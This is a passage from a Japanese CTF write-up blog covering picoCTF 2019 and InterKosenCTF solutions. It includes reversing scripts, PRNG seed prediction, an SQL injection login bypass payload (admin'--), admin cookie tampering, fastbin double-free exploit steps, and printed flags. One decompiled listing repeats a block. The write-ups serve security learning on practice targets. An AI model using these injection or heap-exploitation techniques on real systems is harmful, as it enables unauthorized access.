    puts (ebx - 0x1510);
    puts (ebx - 0x14c0);
    puts (ebx - 0x1470);
    puts (ebx - 0x1420);
    puts (ebx - 0x13d0);
    puts (ebx - 0x1560);
    puts (ebx - 0x1570);
    puts (ebx - 0x1570);
    puts (ebx - 0x1380);
    puts (ebx - 0x134f);
    puts (ebx - 0x1570);
    eax = *((ebx + 0x44));
    eax = *(eax);
    fflush (eax);
    eax = time (0);
    seed = eax;
    srand (eax);
    var_ch = 1;
    while (var_ch <= 0x1e) {
        printf (ebx - 0x1338);
        puts (ebx - 0x1570);
        eax = rand ();
        eax &= 0xf;
        var_14h = eax;
        printf (ebx - 0x1329);
        eax = *((ebx + 0x44));
        eax = *(eax);
        fflush (eax);
        isoc99_scanf (ebx - 0x1316, var_18h);
        eax = *((ebx + 0x40));
        eax = *(eax);
        fflush (eax);
        eax = var_18h;
        if (var_14h != eax) {
            puts (ebx - 0x1310);
            eax = *((ebx + 0x44));
            eax = *(eax);
            fflush (eax);
            exit (0xffffffffffffffff);
        }
        var_ch++;
    }
    puts (ebx - 0x12e8);
    get_flag ();
    eax = *((ebx + 0x44));
    eax = *(eax);
    fflush (eax);
    eax = 0;
    esp = &var_8h;
    esp = ecx - 4;
    return eax;
}

eax = time (0);
    seed = eax;
    srand (eax);

で現在時刻をseedに設定していることがわかり、

    while (var_ch <= 0x1e) {
    .......
    ........
        eax = rand ();
        eax &= 0xf;

からrand()を2進数で表示した際の下5桁を比較していることがわかります(答えの範囲は0から15)。
以上からサーバーの時刻と自分の環境で時間を同期させればseedを特定することができ、ゲームの答えであるrand()&0xfの値も全てわかります。
実装ではCのrand()を使う必要があるので、まずはゲームで0を入力して1つ目の値が当たるまで実行しました。当たったら同時に別画面で開いている画面でcのプログラムを実行して、その時刻周辺でrand()の1つ目の値が0となるようなseedを探し出して出力しました。
初めは現在時刻の±10くらいを調べていて目的のseedが見つからなかったのですが、自分の環境では現在時刻-11くらいで上手くいくことがわかりました。

ソースコード(クリックで展開)

#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main(){

    time_t time_now = time(0);
    for(time_t i = time_now - 15; i < time_now + 15; i++){

        srand(i);

        if((rand()&0xf) == 0){
            printf("---------------- %ld -----------------\n", i-time_now);
            for(unsigned int j=0; j<30; j++) printf("%d\n",rand()&0xf);
        }

    }
}

picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}

Revese Engineering

asm1 - Points: 200

アセンブリコードが与えられます。引数を0x1b4としたときの戻り値は何という問題です。

asm1:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: cmp    DWORD PTR [ebp+0x8],0x421
    <+10>:    jg     0x512 <asm1+37>
    <+12>:    cmp    DWORD PTR [ebp+0x8],0x1b4
    <+19>:    jne    0x50a <asm1+29>
    <+21>:    mov    eax,DWORD PTR [ebp+0x8]
    <+24>:    add    eax,0x13
    <+27>:    jmp    0x529 <asm1+60>
    <+29>:    mov    eax,DWORD PTR [ebp+0x8]
    <+32>:    sub    eax,0x13
    <+35>:    jmp    0x529 <asm1+60>
    <+37>:    cmp    DWORD PTR [ebp+0x8],0x7f7
    <+44>:    jne    0x523 <asm1+54>
    <+46>:    mov    eax,DWORD PTR [ebp+0x8]
    <+49>:    sub    eax,0x13
    <+52>:    jmp    0x529 <asm1+60>
    <+54>:    mov    eax,DWORD PTR [ebp+0x8]
    <+57>:    add    eax,0x13
    <+60>:    pop    ebp
    <+61>:    ret

順に読んでいきます。まず引数はebp+0x8に入ります。
3行目cmp DWORD PTR [ebp+0x8],0x4210x1b40x421を比較をしていますが、0x421の方が大きいのでjgはjmpしません。
次にcmp DWORD PTR [ebp+0x8],0x1b4は等しいので、jneはjmpしません。
あとはadd eax,0x130x13が足された後、jmp 0x529 <asm1+60>で最後まで飛んでいるので、答えは0x1b4 + 0x13です。

0x1c7

asm2 - Points: 250

同じような問題で、今度は引数が0xc0x15の2つです。順に読んでいきます。

asm2:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: sub    esp,0x10
    <+6>: mov    eax,DWORD PTR [ebp+0xc]
    <+9>: mov    DWORD PTR [ebp-0x4],eax
    <+12>:    mov    eax,DWORD PTR [ebp+0x8]
    <+15>:    mov    DWORD PTR [ebp-0x8],eax
    <+18>:    jmp    0x50c <asm2+31>
    <+20>:    add    DWORD PTR [ebp-0x4],0x1
    <+24>:    add    DWORD PTR [ebp-0x8],0xaf
    <+31>:    cmp    DWORD PTR [ebp-0x8],0xa3d3
    <+38>:    jle    0x501 <asm2+20>
    <+40>:    mov    eax,DWORD PTR [ebp-0x4]
    <+43>:    leave  
    <+44>:    ret

まず、引数2がmove eax,DWORD PTR [ebp+0xc]でeaxに移った後、move DWORD PTR [ebp-0x4],eaxebp-0x4に移されています。
その後、引数1が move eax,DWORD PTR [ebp+0x8]からmove DWORD PTR [ebp-0x8],eaxebp-0x8に移った後、jmp 0x50c <asm2+31>で+31に飛ばされます。
+31ではcmp DWORD PTR [ebp-0x8],0xa3d30xa3d3と比較していて、以下だと+20に飛ばされます。+20から+31では引数2に0x1、引数1に0xafを足していることがわかります。
以上からこれはwhileループであり、while(ebp-0x8 < 0xa3d3)ならaddの処理を行うというコードであることがわかりました。

ソースコード(クリックで展開)

arg1 = 0xc
arg2 = 0x15

while arg1 <= 0xa3d3:
    arg2+=0x1
    arg1+=0xaf

print(hex(arg2))

0x105

asm3 - Points: 300

次は引数が0xdff83990,0xeeff29ae,0xfa706498の3つです。読むのが大変になってきたのでpwntoolsを使ってみます。まだまだ使いこなせていませんが、色々できて便利ですね。

ソースコード(クリックで展開)

from pwn import *

context.arch = 'i386'

asm3 = '''
asm3:
  push   ebp
  mov    ebp,esp
  xor    eax,eax
  mov    ah,BYTE PTR [ebp+0xb]
  shl    ax,0x10
  sub    al,BYTE PTR [ebp+0xd]
  add    ah,BYTE PTR [ebp+0xe]
  xor    ax,WORD PTR [ebp+0x12]
  nop
  pop    ebp
  ret    
'''

s = ''
# asm3(0xdff83990,0xfe1a474d,0xd5373fd4)
s += shellcraft.push(0xfa706498)
s += shellcraft.push(0xeeff29ae)
s += shellcraft.push(0xdff83990)
s += 'call asm3\n'
# print result
s += shellcraft.push('eax')
s += shellcraft.write(1, 'esp', 4)
# exit
s += shellcraft.exit()
# asm3
s += asm3

p = run_assembly(s)
print hex(u32(p.recvall()))

0x5a7

vault-door-training - Points: 50

Javaソースコードが与えられます。パスワードを認証するプログラムのようなものですが、パスワードがそのまま書いてあります。

picoCTF{w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95}

vault-door-1 - Points: 100

前問と同様で今度はパスワードが一文字ずつスクランブルされています。コピペして少しコードを変えてJavaプログラムを実行するのがわかりやすく速いと思いました。実行環境が無かったのでWandoboxで実行しています。

ソースコード(クリックで展開)

import java.util.*;

class VaultDoor1 {
    public static void main(String args[]) {

        char[] password = new char[32];
        password[0]  = 'd';
        password[29] = '7';
        password[4]  = 'r';
        password[2]  = '5';
        password[23] = 'r';
        password[3]  = 'c';
        password[17] = '4';
        password[1]  = '3';
        password[7]  = 'b';
        password[10] = '_';
        password[5]  = '4';
        password[9]  = '3';
        password[11] = 't';
        password[15] = 'c';
        password[8]  = 'l';
        password[12] = 'H';
        password[20] = 'c';
        password[14] = '_';
        password[6]  = 'm';
        password[24] = '5';
        password[18] = 'r';
        password[13] = '3';
        password[19] = '4';
        password[21] = 'T';
        password[16] = 'H';
        password[27] = '4';
        password[30] = 'f';
        password[25] = '_';
        password[22] = '3';
        password[28] = '8';
        password[26] = '2';
        password[31] = '0';

        System.out.println(password);
    }
}

picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_2487f0}

vault-door-3 - Points: 200

今度はfor文でパスワードが混ぜられています。これも元のコードを少し変えれば戻せます。

ソースコード(クリックで展開)

import java.util.*;

class VaultDoor3 {
    public static void main(String args[]) {

        String password = "jU5t_a_sna_3lpm12gb44_u_4_m1r240";
        char[] buffer = new char[32];
        int i=0;
        for (; i<8; i++) {
            buffer[i] = password.charAt(i);
        }
        for (; i<16; i++) {
            buffer[i] = password.charAt(23-i);
        }
        for (; i<32; i+=2) {
            buffer[i] = password.charAt(46-i);
        }
        for (i=31; i>=17; i-=2) {
            buffer[i] = password.charAt(i);
        }

        System.out.println(buffer);
    }
}

picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_41b220}

vault-door-4 - Points: 250

今度はbyteとStringの変換が入りますが、元のプログラムをいじればあまり関係ありません。

ソースコード(クリックで展開)

import java.nio.charset.StandardCharsets;

class VaultDoor4 {

    public static void main(String[] args) {

        //byte → String
        byte[] sbyte = "apple".getBytes(StandardCharsets.UTF_8);
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 062 , 060 ,
            '1' , 'b' , '3' , '5' , '2' , 'd' , '6' , 'c' ,
        };
        String str = new String(myBytes);

        System.out.println(str);
    }
}

jU5t_4_bUnCh_0f_bYt3s_201b352d6c

vault-door-5 - Points: 300

URLencodeされた後にBase64Encodeされていて、その結果がソースコードにあります。ヒントのツールを使うと一発です。

f:id:latikuchi:20191013235118p:plain

picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

vault-door-6 - Points: 350

今度はバイトに変換した状態で0x55とxorを取っています。xorは2回やれば0なので同じ処理をするプログラムを書きます。

ソースコード(クリックで展開)

import java.util.*;

class VaultDoor6 {
    public static void main(String args[]) {
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x65, 0x36, 0x66, 0x34, 0x67, 0x31, 0x30,
        };

        byte[] passBytes = new byte[32];

        for (int i=0; i<32; i++) {
            System.out.print((char)(myBytes[i] ^ 0x55));
        }

    }
}

picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_0c3a2de}

vault-door-7 - Points: 400

今度は4byteずつ1つのpackされています。ビットシフトして戻していけばよいですが、ソースコードのコメントに非常に優しく解説してくれているので簡単ですね。

ソースコード(クリックで展開)

import java.util.*;

class VaultDoor7 {
    public static void main(String args[]) {

        int[] x = {1096770097, 1952395366, 1600270708, 1601398833, 1716808014, 1734293602, 1701067056, 892756537};
        int[] ans = new int[32];
        for (int i=0; i<8; i++){
            for(int j=0; j < 4; j++){
                ans[i*4 + j] = ((((1 << 8) - 1) << (8 * (3 - j))) & x[i]) >> 8 * (3 - j);
            }
        }

        for(int i=0; i<32; i++) System.out.print((char)(ans[i]));

    }

    public int[] passwordToIntArray(String hex) {
        int[] x = new int[8];
        byte[] hexBytes = hex.getBytes();
        for (int i=0; i<8; i++) {
            x[i] = hexBytes[i*4]   << 24
                 | hexBytes[i*4+1] << 16
                 | hexBytes[i*4+2] << 8
                 | hexBytes[i*4+3];
        }
        return x;
    }
}

picoCTF{A_b1t_0f_b1t_sh1fTiNg_8bed9056b9}

vault-door-8 - Points: 450

最後の問題は改行やスペースをなくすことで可読性を下げています。とりあえずフォーマッターに突っ込んで読みやすくします。swichBitsはビットを入れ替えてるだけっぽいので、情報が消えることは無いです。なので、全ての処理を逆順に行うようなコードを書きます。

ソースコード(クリックで展開)

import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
class VaultDoor8 {

    public static void main(String args[]) {
        char[] expected = { 0xF4, 0xC0, 0x97, 0xF0, 0x77, 
                           0x97, 0xC0, 0xE4, 0xF0, 0x77, 
                           0xA4, 0xD0, 0xC5, 0x77, 0xF4, 
                           0x86, 0xD0, 0xA5, 0x45, 0x96, 
                           0x27, 0xB5, 0x77, 0x94, 0x85, 
                           0xC0, 0xA5, 0xC0, 0xB4, 0xC2, 
                           0xF0, 0xF0 }; 

        char[] ans = scramble_rev(expected);
         for (int i = 0; i < ans.length; i++) System.out.print(ans[i]);
    }

    public static char[] scramble_rev(char[] a) { 
        for (int b = 0; b < a.length; b++) {
            char c = a[b];

            c = switchBits(c, 6, 7);
            c = switchBits(c, 2, 5);
            c = switchBits(c, 3, 4);
            c = switchBits(c, 0, 1);
            c = switchBits(c, 4, 7);
            c = switchBits(c, 5, 6);
            c = switchBits(c, 0, 3);
            c = switchBits(c, 1, 2);

            a[b] = c;
        }
        return a;
    }

    public static char switchBits(char c, int p1, int p2) {
        char mask1 = (char)(1 << p1);
        char mask2 = (char)(1 << p2);
        char bit1 = (char)(c & mask1);
        char bit2 = (char)(c & mask2);
        char rest = (char)(c & ~(mask1 | mask2));
        char shift = (char)(p2 - p1);
        char result = (char)((bit1 << shift) | (bit2 >> shift) | rest);
        return result;
    }
}

picoCTF{s0m3_m0r3_b1t_sh1fTiNg_ad0f0c833}

reverse_cipher - Points: 300

バイナリファイルとテキストが与えられます。テキストはpicoCTF{w1{1wq87g_9654g}でバイナリファイルを実行した出力だと推測できます。
radare2を使って解析していきます。問題自体はForensicsのInvestigative Reversingとそっくりです。

int32_t main (void) {
    void * ptr;
    int32_t var_39h;
    size_t var_24h;  
    file* var_20h;
    file* stream;
    int32_t var_ch;  
    int32_t var_8h;
    int32_t c;
    rax = fopen ("flag.txt", 0x00002008);
    stream = rax;
    rax = fopen ("rev_this", 0x00002013);
    var_20h = rax;
    if (stream == 0) {
        puts ("No flag found, please make sure this is run on the server");
    }
    if (var_20h == 0) {
        puts ("please run this on the server");
    }
    rdx = stream;
    rax = &ptr;
    eax = fread (rax, 0x18, 1, rdx);
    var_24h = eax;
    if (var_24h <= 0) {
        exit (0);
    }
    var_8h = 0;
    while (var_8h <= 7) {
        eax = var_8h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x50));
        c = al;
        eax = (int32_t) c;
        rdx = var_20h;
        fputc (eax, var_20h);
        var_8h++;
    }
    var_ch = 8;
    while (var_ch <= 0x16) {
        eax = var_ch;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x50));
        c = al;
        eax = var_ch;
        eax &= 1;
        if (eax == 0) {
            eax = (int32_t) c;
            eax += 5;
    var_8h = 0;
    while (var_8h <= 7) {
        eax = var_8h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x50));
        c = al;
        eax = (int32_t) c;
        rdx = var_20h;
        fputc (eax, var_20h);
        var_8h++;
    }
    var_ch = 8;
    while (var_ch <= 0x16) {
        eax = var_ch;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x50));
        c = al;
        eax = var_ch;
        eax &= 1;
        if (eax == 0) {
            eax = (int32_t) c;
            eax += 5;
        } else {
            eax = (int32_t) c;
            eax -= 2;
            c = al;
        }
        eax = (int32_t) c;
        rdx = var_20h;
        fputc (eax, var_20h);
        var_ch++;
    }
    eax = (int32_t) var_39h;
    c = al;
    eax = (int32_t) c;
    rdx = var_20h;
    fputc (eax, var_20h);
    rax = var_20h;
    fclose (var_20h);
    rax = stream;
    fclose (stream);
    return rax;
}

"flag.txt"という元のファイルから変換されて出力されたものが"rev_this"とわかります。eax = fread (rax, 0x18, 1, rdx);からフラグの文字列は24文字で出力を見ても減ってないことがわかります。それぞれwhile文を解析していくと、0-7文字目はそのまま、8-0x16文字目はeax &= 1;if (eax == 0)で分けられている、つまり偶奇で別の処理をしていることがわかります。偶数は-2、奇数は+5をしているのでその逆の処理をします。

ソースコード(クリックで展開)

s = 'picoCTF{w1{1wq87g_9654g}'

ans = ''
for i in range(len(s)):
    if 0 <= i and i <= 7:
        ans += s[i]
    elif 8 <= i and i <=0x16:
        if i & 1 == 0:
            ans += chr(ord(s[i])-5)
        else :
            ans += chr(ord(s[i])+2)
    else:
        ans += s[i]
print(ans)

picoCTF{r3v3rs39ba4806b}

Need For Speed - Points: 400

バイナリファイルのみが渡されます。実行してみるとSIGALRMで終了してしまいます。gdbで走らせてみると少し待ってフラグが表示されます?
答えは出たのですが軽く解析してみると、mainではheader(),set_timer(),get_key(),print_flag()が順に実行されていています。get_key()の中のcalculate_key()では、最適化オプションを付けたら消えるであろうような無駄なwhile文が走っていて、keyを手に入れるまでに時間がかかっているためにアラームに間に合わないという感じです。ですが、アラームが起きたときに分岐してexitに飛ばされるとかではないので、gdbで実行したり、アラームを無効化して待てば、そのうちdisplay_flag()が実行されるということでした。

int32_t main (int32_t argc, char ** argv) {
    char ** var_10h;
    int32_t var_4h;
    rdi = argc;
    rsi = argv;
    var_4h = edi;
    var_10h = rsi;
    eax = 0;
    header ();
    eax = 0;
    set_timer ();
    eax = 0;
    get_key ();
    eax = 0;
    print_flag ();
    eax = 0;
    return eax;
}

uint64_t set_timer (void) {
    int32_t var_8h;
    var_ch = 1;
    rsi = sym_alarm_handler;
    edi = 0xe;
    rax = sysv_signal ();
    var_8h = rax;
    if (var_8h == -1) {
        esi = 0x3c;
        eax = 0;
        printf ("\n\nSomething bad happened here. \nIf running on the shell server\nPlease contact the admins with \"need-for-speed.c:%d\".\n");
        exit (0);
    }
    eax = var_ch;
    edi = var_ch;
    alarm ();
    return rax;
}

int32_t get_key (void) {
    puts ("Creating key...");
    eax = 0;
    eax = calculate_key ();
    *(obj.key) = eax;
    puts ("Finished");
    return eax;
}

int32_t calculate_key (void) {
    uint32_t var_4h;
    var_4h = 0xd8c2071c;
    do {
        var_4h--;
    } while (var_4h != 0xec61038e);
    eax = var_4h;
    return eax;
}

PICOCTF{Good job keeping bus #236cb1c9 speeding along!}

Time's up - Points: 400

前問の続きという感じですが、今度はgenarate_challenge()という関数で括弧と+-と数字からなる式が表示され、SIGALRMまでに正しい答えを入力するとsystem ("/bin/cat flag.txt")からサーバ上の"flag.txt"が表示さます。
picoのサーバ上のgdbでアラーム無効化して実行してみますが、permission errorで見れませんでした。

解析結果のCの擬似コード(クリックで展開)

int32_t main (void) {
    int32_t var_4h;
    var_4h = 0x1388;
    eax = 0;
    init_randomness ();
    eax = 0;
    printf ("Challenge: ");
    eax = 0;
    generate_challenge ();
    putchar (0xa);
    rax = stdout;
    fflush (*(obj.stdout));
    puts ("Setting alarm...");
    rax = stdout;
    fflush (*(obj.stdout));
    eax = var_4h;
    esi = 0;
    edi = eax;
    ualarm ();
    eax = 0;
    printf ("Solution? ");
    rsi = obj_guess;
    rdi = "%lld";
    eax = 0;
    isoc99_scanf ();
    rdx = guess;
    rax = result;
    if (rdx == rax) {
        puts ("Congrats! Here is the flag!");
        system ("/bin/cat flag.txt");
    } else {
        puts ("Nope!");
    }
    eax = 0;
    return rax;
}

ということで普通にpythonで式を計算して答えを送信するプログラムを書きますが、Congrats!まで見えたりするものの、フラグが表示されるまでには間に合いません。
仕方がないのでチームメイトに概要を説明して投げたらRubyで書いてくれ、それが通りました。

一応書いたpythonコードも載せます。pwntoolsを使って普通に間に合ってる人もいるみたいなので何が遅かったのか考えましたが、おそらくexec("ans =" + chal[10:])がかなり遅くて、ans = eval(chal[10:])と書けば間に合う気がします。
サーバーにsshでつながらなくなっているので確認できません。pythonの知識が無かったのと、pythonを使っていて時間を気にしたことが無かったので中々厳しかったです。

ソースコード(クリックで展開)

from pwn import *

pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/time-s-up_6_480d53541469436212e30dad5b4ce691')

p = pico_ssh.process("./times-up", )
# print(p.recvuntil("Challenge: "))

chal = p.recvline()
exec("ans =" + chal[10:])
# print(ans)

# p.recv(27)
p.sendline(str(ans))
flag = p.recvall()
print(flag)

Web Explotitation

Open-to-admins - Points: 200

問題文のポートにつなぐと、Flagボタンが中央にあり、他のボタンはまだ実装されていないと表示されます。ヒントを眺め、Cokkieにadmin True, time 1400を加えた状態でFlagボタンを押すと表示されました。Web何にもわからん。

picoCTF{0p3n_t0_adm1n5_b6ea8359}

Irish-Name-Repo 2 - Points: 350

SQLインジェクションの雰囲気を感じたので、ユーザー名のところにチートシートadmin'--を投げたら通りました。
なんも理解していないので、解説はチームメイトのブログに任せています笑。

picoCTF{m0R3_SQL_plz_c1c3dff7}

おわりに

問題数多すぎますね。ここまで読んでる人いなさそうです。
かなりためになる問題ばかりでしたし、解けなかった問題もwrite-upなどを見ながら解いていきたいです。
CTFめちゃくちゃ楽しいですが、人生を破壊しないように気を付けましょう。僕の生活リズムとAtcoder ProblemsのStreak 120 daysを破壊していきました。

InterKosenCTF writeup

はじめに

InterKosenCTF に参加しました。

@betit0919とチームを組ませてもらって結果は22位(正の得点91チーム中)でした!

CTF初参加ではありましたが、いくつかの問題は自力で解くことができ、CTFの面白さを知ることができて本当に楽しいコンテストでした。

ということで、書いてみようと思います。

参加まで

CTFが何なのかも全くわからない状態だったのですが、@betit0919がことあるごとに誘ってくれるので、暇だしせっかくなら出てみようかなと参加しました。 思えば競技プログラミングもこんな感じで@betit0919に誘われ、沼にはまっていった気がします……。

一日目の夕方ごろに家まで行って簡単に解いた問題の説明を受け、CTFの雰囲気をなんとなく理解し、問題を解き始めました。

解けた問題

2人で解いた問題に関してはチームメイトのwite-up betit0919.hatenablog.com にも載っているので参考にしてください。

Hugtto!

概要

  • 時刻を元に作った値をseedとした乱数(0-2)がある
  • 乱数をもとに画像中のrgbのいずれかが変更されflagが埋め込まれている

解法

  • flagが"InterKosen{"で始まるので一致する部分を全て挙げる
  • 開始位置の差分からflag長を推測 (544bit)
  • 544bitずつに分けてrgbの値を全て足す(544bit*1400ほど足しました)
  • flagで確定している01の分偏るのでそこからflagを逆算

書いたコードは こちら (なんどもバグらせて@betit0919に助けてもらいました笑)

感想

544bitで区切ったところまでは不安でしたが、足し合わせたときに綺麗に偏って勝ちを確信しました(なおそこからビッグエンディアンであることに気づかずしばらくハマる)。 個人的に解いた中で一番面白いと感じた問題でした。

なお、 作者の想定解 は画像の生成時刻からseedを求める解法で、なるほど~ってなりました。

E_S_P

概要

RSA暗号の問題

  • e, N は与えられた出力のテキストファイルからわかる
  • 平文がyukkoという名の文字列とflagを足し合わせたものになっている
  • yukko = "Yukko the ESPer: My amazing ESP can help you to get the flag! -----> "と長い

解法

書いたコードは こちら

感想

解法自体は"ググリ力"という感じでした笑 実際には解けるまでに数時間かかっています。

この問題を解くにあたってRSA暗号とその攻撃方法などについていろいろと勉強しましたが、めちゃくちゃ面白かったです。

pascal homomorphicity

概要

  • RSA暗号に似た暗号が c = (n+1)e (mod n2) で生成される
  • e = key の場合の出力c_keyが与えられる
  • こちらの入力したeに対し、長さが十分なら計算したcを返してくれる

解法

  • (n+1)e (mod n2) = en +1 であることを利用
  • 初めのc_keyは c_key = key * n + 1 を満たすので、c_keyをそのまま投げれば、n * (key * n + 1 ) (mod n2) = n より、nが手に入る
  • c_key = key * n + 1 からkeyが求まる

感想

解法自体はとてもあっけないのですが、本質である c = en + 1 に気づくまでにありえないくらい時間を溶かしてしまいました。RSA暗号だと勘違いしてRSA attack を調べることに熱中してしまったのが敗因です笑。Common Module Attackを実装して2組の(e,c)から平文を求めたらn+1が出てきて(当然)、方針の間違いに気がつきました。

この問題、平文の部分を隠されても解ける?のでその方が面白かった気がします(ただこれは難しくなりすぎるかもしれません)。

fastbin tutorial

概要

  • 指定のサーバにつなぐと簡単なインターフェイスが与えられる
  • 操作は、1 malloc, 2 free, 3 read, 4 write ができ、fastbinと変数ABCのアドレスが表示されている
  • flagが格納されているアドレス(前半部はランダム) が与えられる

解法

fastbinについて調べるとdouble free attackというものが出てくる

  1. 1A 1B とA, Bをmalloc
  2. 2A 2B 2Aと交互にfreeするとAをdouble freeできる
  3. 1CとCをmallocするとAにつながるので4Cでアドレスを書き込む
  4. 1Cでmallocしていくと書き込んだアドレスにつなげる
  5. 3でreadする

感想

まともにやったように見えますが、アドレスの書き込み方が良くわかっていないので、実験を繰り返して、ASCIIで表示されることがわかり、ASCIIで入力できるアドレスが来るまでガチャをするなどしました。

まとめ

InterKosenCTF は、CTF初参加でも楽しむことのできるすばらしいコンテストでした~!pwnの2問目のshopkeeperもあと少しで解けそうだったので復習しようと思います。

暗号や脆弱性をついた攻撃、リバースエンジニアリングなどハッキングっぽいことができてわくわくしました。知識は圧倒的に足りていないので、勉強して他のCTFにも参加していきたいです。